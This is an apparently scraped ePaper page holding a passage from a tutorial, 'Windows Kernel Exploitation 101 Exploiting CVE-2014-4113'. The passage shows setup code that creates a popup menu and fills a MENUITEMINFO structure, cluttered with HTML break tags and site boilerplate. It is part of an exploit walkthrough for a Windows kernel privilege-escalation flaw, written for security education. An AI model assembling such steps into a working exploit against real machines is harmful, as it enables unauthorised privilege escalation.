06.04.2016 Views

Windows Kernel Exploitation 101 Exploiting CVE-2014-4113

bDD8JK

bDD8JK

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

eturn;<br />

}<br />

}<br />

Next we create a two-level popup menu attached to the window.<br />

//Creates an empty popup menu<br />

HMENU MenuOne = CreatePopupMenu();<br />

if (MenuOne == NULL){<br />

printf("Failed to create popup menu one.\n");<br />

return;<br />

}<br />

/*Menu properties to apply to the empty menu we just created<br />

typedef struct tagMENUITEMINFO {<br />

UINT<br />

UINT<br />

UINT<br />

UINT<br />

UINT<br />

HMENU<br />

HBITMAP<br />

HBITMAP<br />

cbSize;<br />

fMask;<br />

fType;<br />

fState;<br />

wID;<br />

hSubMenu;<br />

hbmpChecked;<br />

hbmpUnchecked;<br />

ULONG_PTR dwItemData;<br />

LPTSTR<br />

UINT<br />

HBITMAP<br />

dwTypeData;<br />

cch;<br />

hbmpItem;<br />

} MENUITEMINFO, *LPMENUITEMINFO;<br />

*/<br />

MENUITEMINFOA MenuOneInfo = { 0 };<br />

//Default size<br />

MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);<br />

//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are<br />

called, in this case only dwTypeData which the contents of the menu item.<br />

MenuOneInfo.fMask = MIIM_STRING;<br />

/*Inserts a new menu at the specified position<br />

BOOL WINAPI InsertMenuItem(<br />

labs.mwrinfosecurity.com<br />

5

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!